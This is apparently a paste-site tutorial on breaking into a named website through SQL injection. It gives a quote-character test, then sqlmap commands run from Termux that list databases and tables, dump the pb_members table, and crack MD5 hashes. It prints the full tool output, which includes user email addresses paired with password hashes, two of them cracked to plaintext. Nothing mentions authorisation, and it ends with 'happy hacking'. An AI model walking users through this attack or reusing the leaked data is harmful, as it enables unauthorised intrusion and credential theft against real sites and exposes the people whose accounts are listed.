Create a new version of paste:

to check if a website if vulnerable add a ' to the end of the URL
like this:
http://www.100safe.com/user.php?uid=46
becomes:
http://www.100safe.com/user.php?uid=46'
if the website is vulnerable you should see an error like this somewhere on the page:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

now we will need to install then open termux.
first we need to install python 2 and unzip. type:

dpgk install python2 unzip

download the latest sqlmap zip package from sqlmap.org

next run these three commands:
cd /sdcard/Download/
unzip sqlmap*.zip
cd sqlmap*

now we get started!

next we are going to list the databases on the target website, enter this command.
python2 sqlmap.py --url=http://www.100safe.com/user.php?uid=46 --dbs
if you get this it almost always means the site can be hacked:
[10:57:59] [INFO] heuristic (basic) test shows that GET parameter 'uid' might be injectable (possible DBMS: 'MySQL')
[10:58:00] [INFO] heuristic (XSS) test shows that GET parameter 'uid' might be vulnerable to cross-site scripting (XSS) attacks
[10:58:00] [INFO] testing for SQL injection on GET parameter 'uid'
once it says this:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

type Y then press enter

next you will get this

for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]

type Y then press enter

once its done doing tests and finds a working injection method you will see output that should look like this:

[10:05:15] [INFO] fetching database names
[10:05:15] [INFO] used SQL query returns 8 entries
[10:05:15] [INFO] resumed: information_schema
[10:05:15] [INFO] resumed: 100safe
[10:05:15] [INFO] resumed: Iloveyou
[10:05:15] [INFO] resumed: hypocket_api
[10:05:15] [INFO] resumed: mysql
[10:05:15] [INFO] resumed: now
[10:05:15] [INFO] resumed: performance_schema
[10:05:15] [INFO] resumed: superpay_api
available databases [8]:
[*] 100safe
[*] hypocket_api
[*] Iloveyou
[*] information_schema
[*] mysql
[*] now
[*] performance_schema
[*] superpay_api

^  those are the databases on the vulnerable server.

to list the tables in a database use this command:
python2 sqlmap.py --url=http://www.100safe.com/user.php?uid=46 -D 100safe --tables

the output should look like this:
[10:07:32] [INFO] fetching tables for database: '100safe'
[10:07:32] [INFO] used SQL query returns 39 entries
Database: 100safe
[39 tables]
+------------------+
| pb_admingroups   |
| pb_adminlogs     |
| pb_adminonlines  |
| pb_announcements |
| pb_applyinvite   |
| pb_attachments   |
| pb_categories    |
| pb_cdata         |
| pb_comments      |
| pb_commonlogs    |
| pb_configs       |
| pb_friends       |
| pb_fsession      |
| pb_guestmsg      |
| pb_invitecode    |
| pb_links         |
| pb_memberdata    |
| pb_memberexp     |
| pb_members       |
| pb_message       |
| pb_onlines       |
| pb_plugins       |
| pb_regions       |
| pb_scaches       |
| pb_sitestat      |
| pb_special       |
| pb_splink        |
| pb_tagcache      |
| pb_tags          |
| pb_tdata         |
| pb_templates     |
| pb_threads       |
| pb_threads_home  |
| pb_threads_tmp   |
| pb_tinfo         |
| pb_tinfo_home    |
| pb_tinfo_tmp     |
| pb_tplvar        |
| pb_usergroups    |
+------------------+

^ those are the tables in the database "100safe"

obviously we want to choose dump (download or read) the table pb_members cause it likely contains passwords of users.
first we have to list the columns in the table. type in this command:
python2 sqlmap.py --url=http://www.100safe.com/user.php?uid=46 -D 100safe -T pb_members --columns
the columns should look similar this for most user tables:

[10:25:43] [INFO] fetching columns for table 'pb_members' in database '100safe'
[10:25:43] [INFO] used SQL query returns 9 entries
[10:25:43] [INFO] resumed: uid
[10:25:43] [INFO] resumed: mediumint(8) unsigned
[10:25:43] [INFO] resumed: username
[10:25:43] [INFO] resumed: varchar(20)
[10:25:43] [INFO] resumed: password
[10:25:43] [INFO] resumed: char(32)
[10:25:43] [INFO] resumed: email
[10:25:43] [INFO] resumed: varchar(100)
[10:25:43] [INFO] resumed: adminid
[10:25:43] [INFO] resumed: tinyint(3)
[10:25:43] [INFO] resumed: groupid
[10:25:43] [INFO] resumed: tinyint(3)
[10:25:43] [INFO] resumed: publicemail
[10:25:43] [INFO] resumed: tinyint(1)
[10:25:43] [INFO] resumed: regip
[10:25:43] [INFO] resumed: char(15)
[10:25:43] [INFO] resumed: regdate
[10:25:43] [INFO] resumed: int(10) unsigned
Database: 100safe
Table: pb_members
[9 columns]
+-------------+-----------------------+
| Column      | Type                  |
+-------------+-----------------------+
| adminid     | tinyint(3)            |
| email       | varchar(100)          |
| groupid     | tinyint(3)            |
| password    | char(32)              |
| publicemail | tinyint(1)            |
| regdate     | int(10) unsigned      |
| regip       | char(15)              |
| uid         | mediumint(8) unsigned |
| username    | varchar(20)           |
+-------------+-----------------------+

Now we will extract all the entries in the columns email, and password from the database:
python2 sqlmap.py --url=http://www.100safe.com/user.php?uid=46 -D 100safe -T pb_members -C email,password --dump

sadly the passwords on this site are encrypted with MD5, but we were able to crack a couple.
by the way sometimes on other websites the passwords are all plaintext! (unencrypted!)
here is the output with what you should type in the prompts already there so you know what to do.

[10:30:15] [INFO] fetching entries of column(s) 'email, password' for table 'pb_members' in database '100safe'
[10:30:15] [INFO] used SQL query returns 790 entries
[10:30:15] [WARNING] reflective value(s) found and filtering out
[10:30:15] [INFO] retrieved: 1786ec46a1e6b28d3ede31ff2c4bf78b
[10:30:15] [INFO] retrieved: 2plwvce9@30spmcuw.com
[10:30:16] [INFO] retrieved: 49ba8995a4ed9671a0f7b8460c8fdedc
[10:30:16] [INFO] retrieved: 3216016593@qq.com
[10:30:16] [INFO] retrieved: b79b84652032835f635b4d0d4dd149e3
[10:30:17] [INFO] retrieved: 39p532uq@5jbrl7qb.com
[10:30:17] [INFO] retrieved: d8a79e5469223f6800448a2e247efdb7
[10:30:17] [INFO] retrieved: 3e3yng79@r5odsr8g.com
[10:30:17] [INFO] retrieved: 3653f8e024ade70beaf337c647af8eda
[10:30:18] [INFO] retrieved: 3ioo9ytx@17igz8i8.com
[10:30:18] [INFO] retrieved: d958f8dec96e85768387583d4cbb26dc
[10:30:18] [INFO] retrieved: 3vxah88n@eoguvus4.com
[10:30:19] [INFO] retrieved: 76ee1658d44021e53831bce63a465b37
[10:30:19] [INFO] retrieved: 43w6ua0g@3cmq9zgd.com
[10:30:19] [INFO] retrieved: fef3d38d2fed7a7f9d1c7f29a2c67a83
[10:30:19] [INFO] retrieved: 446382023@qq.com
[10:30:20] [INFO] retrieved: f96602e40dde4889fc2da79c3514abf3

[10:30:20] [WARNING] user aborted during enumeration. sqlmap will display partial output
[10:30:20] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[10:30:31] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'C:\Users\New Owner\Desktop\Cracking\sqlmapproject-s
qlmap-5e2d0bd\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:30:35] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[10:30:38] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:30:38] [INFO] starting 2 processes
[10:30:44] [INFO] cracked password '19850110' for hash 'dd3cda213b3da62490992d6a5e181874'
[10:30:45] [INFO] cracked password '123456' for hash 'e10adc3949ba59abbe56e057f20f883e'
Database: 100safe
Table: pb_members
[27 entries]
+------------------------+---------------------------------------------+
| email                  | password                                    |
+------------------------+---------------------------------------------+
| 03ac6xea@fvhpa9ch.com  | d6ff2b7b856f3b445340e9ccdf157929            |
| 0408eric@pchome.com.tw | c96a267ff0f21de27cc50f9c45c3b8fb            |
| 07fff12w@quamhish.com  | 891cbd7089d0e9f11a271b01cdf46e74            |
| 0980155147@qma.com.tw  | dd3cda213b3da62490992d6a5e181874 (19850110) |
| 0azdydba@acaajp4m.com  | 1b6b638cc4d1d7d32928e2f9b80b1797            |
| 0bbgzl32@jssm911y.com  | 1947e832f3baf43b0b4b5f5917ea1df5            |
| 0ojrmsbz@ybru62d2.com  | a38fcd68f6d7639ce1562020dd7e20e3            |
| 0qgl9cts@qp6ccox9.com  | 0385ee7071f1bb3f8712583f881b02ab            |
| 0xq4trm9@h5rzk35x.com  | 8adfb726303aa07c55dc7b255e67ad4b            |
| 1048825dfdf152@qq.com  | 02569624d5d0f06b17715d93d9eccc96            |
| 1312760466@qq.com      | e10adc3949ba59abbe56e057f20f883e (123456)   |
| 1598784253@qq.com      | b71588f2be4628689b70beee50fe760f            |
| 1nca4m9o@zrr575k6.com  | e3f87375269063de254da661034b537a            |
| 1nwpkj4a@iaysr57h.com  | dddca8c5a130281102228c4b0f8b3b32            |
| 1vml8miz@hadf8rqa.com  | 6fe0ae027b11a404987d5431d71c2125            |
| 2161283@163.com        | e10adc3949ba59abbe56e057f20f883e (123456)   |
| 234owhb3@0ozh2tcs.com  | 779ddc203741c1892a3456a951b73a9a            |
| 2ltlsq9i@cka0adls.com  | 05494fa729bbefcf1acea2c180c7e04a            |
| 2nwy5tvv@rwe8lbpt.com  | 1786ec46a1e6b28d3ede31ff2c4bf78b            |
| 2plwvce9@30spmcuw.com  | 49ba8995a4ed9671a0f7b8460c8fdedc            |
| 3216016593@qq.com      | b79b84652032835f635b4d0d4dd149e3            |
| 39p532uq@5jbrl7qb.com  | d8a79e5469223f6800448a2e247efdb7            |
| 3e3yng79@r5odsr8g.com  | 3653f8e024ade70beaf337c647af8eda            |
| 3ioo9ytx@17igz8i8.com  | d958f8dec96e85768387583d4cbb26dc            |
| 3vxah88n@eoguvus4.com  | 76ee1658d44021e53831bce63a465b37            |
| 43w6ua0g@3cmq9zgd.com  | fef3d38d2fed7a7f9d1c7f29a2c67a83            |
| 446382023@qq.com       | f96602e40dde4889fc2da79c3514abf3            |
+------------------------+---------------------------------------------+

[10:32:32] [INFO] table '`100safe`.pb_members' dumped to CSV file 'C:\Users\New Owner\.sqlmap\output\www.100safe.com\dump\100safe\pb_members.csv'

you can increase the speed of dumping by adding the option --threads=10 to the end of the dump command.

and ya thats basically it! thats pretty much all you need to know about sqlmap!!! happy hacking mister 1337